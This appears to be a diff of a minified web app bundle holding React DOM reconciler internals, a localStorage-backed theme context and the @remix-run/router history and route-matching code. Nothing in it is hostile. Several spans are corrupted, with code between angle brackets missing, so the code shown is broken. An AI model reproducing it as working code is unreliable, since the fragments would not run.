s.subtreeFlags|=l,s.childLanes=n,a}function Zd(s,a,n){var l=a.pendingProps;switch(Xc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return es(a),null;case 1:return us(a.type)&&ql(),es(a),null;case 3:return l=a.stateNode,rn(),x(js),x(os),zc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Fs!==null&&(tc(Fs),Fs=null))),qe(s,a),es(a),null;case 5:Jc(a);var p=fa(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)Hi(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return es(a),null}if(s=fa(Es.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":S("cancel",l),S("close",l);break;case"iframe":case"object":case"embed":S("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":S("cancel",s),S("close",s),p=l;break;case"iframe":case"object":case"embed":S("load",s),p=l;break;case"video":case"audio":for(p=0;pgn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return es(a),null}else 2*U()-e.renderingStartTime>gn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(es(a),null);case 22:case 23:return qc(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ms&1073741824&&(es(a),a.subtreeFlags&6&&(a.flags|=8192)):es(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function Wd(s,a){switch(Xc(a),a.tag){case 1:return us(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),x(js),x(os),zc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return Jc(a),null;case 13:if(x(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return x(z),null;case 4:return rn(),null;case 10:return Kc(a.type._context),null;case 22:case 23:return qc(),null;case 24:return null;default:return null}}var fl=!1,ts=!1,Bd=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function sc(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function Gd(s,a){if(Ke=Dl,s=xr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,r=0,d=0,I=s,j=null;a:for(;;){for(var y;I!==n||p!==0&&I.nodeType!==3||(t=c+p),I!==e||l!==0&&I.nodeType!==3||(o=c+l),I.nodeType===3&&(c+=I.nodeValue.length),(y=I.firstChild)!==null;)j=I,I=y;for(;;){if(I===s)break a;if(j===n&&++r===p&&(t=c),j===e&&++d===l&&(o=c),(y=I.nextSibling)!==null)break;I=j,j=I.parentNode}I=y}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Se={focusedElem:s,selectionRange:n},Dl=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var A=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(A!==null){var b=A.memoizedProps,B=A.memoizedState,g=a.stateNode,h=g.getSnapshotBeforeUpdate(a.elementType===a.type?b:Xs(a.type,b),B);g.__reactInternalSnapshotBeforeUpdate=h}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(m){Q(a,a.return,m)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return A=ro,ro=!1,A}function Sn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&sc(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function ac(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[Je],delete a[rd],delete a[id])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Ki(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Ki(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}function lc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(lc(s,a,n),s=s.sibling;s!==null;)lc(s,a,n),s=s.sibling}var as=null,Hs=!1;function sa(s,a,n){for(n=n.child;n!==null;)Si(s,a,n),n=n.sibling}function Si(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=as,p=Hs;as=null,sa(s,a,n),as=l,Hs=p,as!==null&&(Hs?(s=as,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):as.removeChild(n.stateNode));break;case 18:as!==null&&(Hs?(s=as,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),_n(s)):ae(as,n.stateNode));break;case 4:l=as,p=Hs,as=n.stateNode.containerInfo,Hs=!0,sa(s,a,n),as=l,Hs=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&sc(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function ho(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new Bd),a.forEach(function(l){var p=Nd.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*Vd(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,F&6)throw Error(w(331));var p=F;for(F|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-Pc?Va(s,0):Oc|=n),ys(s,a)}function _i(s,a){a===0&&(s.mode&1?(a=ml,ml<<=1,!(ml&130023424)&&(ml=4194304)):a=1);var n=hs();s=Ps(s,a),s!==null&&(tl(s,a,n),ys(s,n))}function Fd(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),_i(s,n)}function Nd(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),_i(s,n)}var Ui;Ui=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kd(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&Or(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Ml(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Lc(null,a,l,s,p,n);var e=Qc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,us(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Ue(a,l,s,n),a=Oe(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),is(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Ml(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=Sd(l),s=Xs(l,s),p){case 0:a=De(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,Xs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),De(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),co(s,a,l,p,n);case 3:s:{if(vi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,si(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=hn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=hn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(As=ga(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Fs=null,n=pi(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}is(s,a,l,n)}a=a.child}return a;case 5:return ei(a),s===null&&Le(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,xe(l,p)?c=null:e!==null&&xe(l,e)&&(a.flags|=32),Vi(s,a),is(s,a,c,n),a.child;case 6:return s===null&&Le(a),null;case 13:return Yi(s,a,n);case 4:return Mc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):is(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),po(s,a,l,p,n);case 7:return is(s,a,a.pendingProps,n),a.child;case 8:return is(s,a,a.pendingProps.children,n),a.child;case 12:return is(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ss(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=Ts(-1,n&-n),o.tag=2;var r=e.updateQueue;if(r!==null){r=r.shared;var d=r.pending;d===null?o.next=o:(o.next=d.next,d.next=o),r.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Qe(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Qe(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}is(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,is(s,a,l,n),a.child;case 14:return l=a.type,p=Xs(l,a.pendingProps),p=Xs(l.type,p),eo(s,a,l,p,n);case 15:return Gi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),Ml(s,a),a.tag=1,us(l)?(s=!0,sp(a)):s=!1,ln(a,n),ni(a,l,p),Ue(a,l,p,n),Oe(null,a,l,!0,s,n);case 19:return Ri(s,a,n);case 22:return fi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return Ar(s,a)}function Kd(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new Kd(s,a,n,l)}function at(s){return s=s.prototype,!(!s||!s.isReactComponent)}function Sd(s){if(typeof s=="function")return at(s)?1:0;if(s!=null){if(s=s.$$typeof,s===Ac)return 11;if(s===bc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")at(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return va(n.children,p,e,a);case mc:c=8,p|=8;break;case ue:return s=Gs(12,n,a,p|2),s.elementType=ue,s.lanes=e,s;case ye:return s=Gs(13,n,a,p),s.elementType=ye,s.lanes=e,s;case me:return s=Gs(19,n,a,p),s.elementType=me,s.lanes=e,s;case lr:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case ar:c=10;break s;case nr:c=9;break s;case Ac:c=11;break s;case bc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function va(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=lr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function xd(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Lp(0),this.expirationTimes=Lp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Lp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function nt(s,a,n,l,p,e,c,t,o){return s=new xd(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function Md(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE($i)}catch(s){console.error(s)}}$i(),Oo.exports=ks;var Qd=Oo.exports,qi,sh,Ao=Qd;sh=Ao.createRoot,qi=Ao.hydrateRoot;const ah={theme:"light",sideNav:!0,initialized:!1},nh=W.createContext({state:ah,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function ct(){return W.useContext(nh)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(ah);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let r=t.width>=500;{const d=localStorage.getItem("sideNav");d&&(r=d=="true")}l(o),n(d=>({...d,theme:o,sideNav:r}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return i.jsx(nh.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** * @remix-run/router v1.14.1 * * Copyright (c) Remix Software Inc. @@ -46,7 +46,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function tt(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function _d(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function oc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||_d()})}function nh(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function Ud(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,r=d();r==null&&(r=0,c.replaceState(pl({},c.state,{idx:r}),""));function d(){return(c.state||{idx:null}).idx}function I(){t=oa.Pop;let B=d(),g=B==null?null:B-r;r=B,o&&o({action:t,location:b.location,delta:g})}function j(B,g){t=oa.Push;let h=oc(b.location,B,g);n&&n(h,B),r=d()+1;let C=Zo(h,r),m=b.createHref(h);try{c.pushState(C,"",m)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(m)}e&&o&&o({action:t,location:b.location,delta:1})}function y(B,g){t=oa.Replace;let h=oc(b.location,B,g);n&&n(h,B),r=d();let C=Zo(h,r),m=b.createHref(h);c.replaceState(C,"",m),e&&o&&o({action:t,location:b.location,delta:0})}function A(B){let g=p.location.origin!=="null"?p.location.origin:p.location.href,h=typeof B=="string"?B:nh(B);return P(g,"No window.location.(origin|href) available to create URL for href: "+h),new URL(h,g)}let b={get action(){return t},get location(){return s(p,c)},listen(B){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,I),o=B,()=>{p.removeEventListener(ko,I),o=null}},createHref(B){return a(p,B)},createURL:A,encodeLocation(B){let g=A(B);return{pathname:g.pathname,search:g.search,hash:g.hash}},push:j,replace:y,go(B){return c.go(B)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function Td(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=ch(l.pathname||"/",n);if(p==null)return null;let e=lh(s);Dd(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let r=Ya([l,o.relativePath]),d=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+r+'".')),lh(e.children,a,d,r)),!(e.path==null&&!e.index)&&a.push({path:r,score:nI(r,e.index),routesMeta:d})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of ph(e.path))p(e,c,o)}),a}function ph(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=ph(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function Dd(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:lI(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const Od=/^:\w+$/,Pd=3,$d=2,qd=1,sI=10,aI=-2,Bo=s=>s==="*";function nI(s,a){let n=s.split("/"),l=n.length;return n.some(Bo)&&(l+=aI),a&&(l+=$d),n.filter(p=>!Bo(p)).reduce((p,e)=>p+(Od.test(e)?Pd:e===""?qd:sI),l)}function lI(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function pI(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:y}=d;if(j==="*"){let b=t[I]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const A=t[I];return y&&!A?r[j]=void 0:r[j]=tI(A||"",j),r},{}),pathname:e,pathnameBase:c,pattern:s}}function eI(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),tt(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:(\w+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function cI(s){try{return decodeURI(s)}catch(a){return tt(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function tI(s,a){try{return decodeURIComponent(s)}catch(n){return tt(!1,'The value for the URL param "'+a+'" will not be decoded because'+(' the string "'+s+'" is a malformed URL segment. This is probably')+(" due to a bad percent encoding ("+n+").")),s}}function ch(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function oI(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rI(n,a):a,search:II(l),hash:CI(p)}}function rI(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function iI(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function hI(s,a){let n=iI(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function gI(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let I=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),I-=1;p.pathname=j.join("/")}t=I>=0?a[I]:"/"}let o=oI(p,t),r=c&&c!=="/"&&c.endsWith("/"),d=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(r||d)&&(o.pathname+="/"),o}const Ya=s=>s.join("/").replace(/\/\/+/g,"/"),dI=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),II=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,CI=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jI(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const th=["post","put","patch","delete"];new Set(th);const uI=["get",...th];new Set(uI);/** + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function tt(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function Ud(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function oc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||Ud()})}function lh(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function Td(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,r=d();r==null&&(r=0,c.replaceState(pl({},c.state,{idx:r}),""));function d(){return(c.state||{idx:null}).idx}function I(){t=oa.Pop;let B=d(),g=B==null?null:B-r;r=B,o&&o({action:t,location:b.location,delta:g})}function j(B,g){t=oa.Push;let h=oc(b.location,B,g);n&&n(h,B),r=d()+1;let C=Zo(h,r),m=b.createHref(h);try{c.pushState(C,"",m)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(m)}e&&o&&o({action:t,location:b.location,delta:1})}function y(B,g){t=oa.Replace;let h=oc(b.location,B,g);n&&n(h,B),r=d();let C=Zo(h,r),m=b.createHref(h);c.replaceState(C,"",m),e&&o&&o({action:t,location:b.location,delta:0})}function A(B){let g=p.location.origin!=="null"?p.location.origin:p.location.href,h=typeof B=="string"?B:lh(B);return P(g,"No window.location.(origin|href) available to create URL for href: "+h),new URL(h,g)}let b={get action(){return t},get location(){return 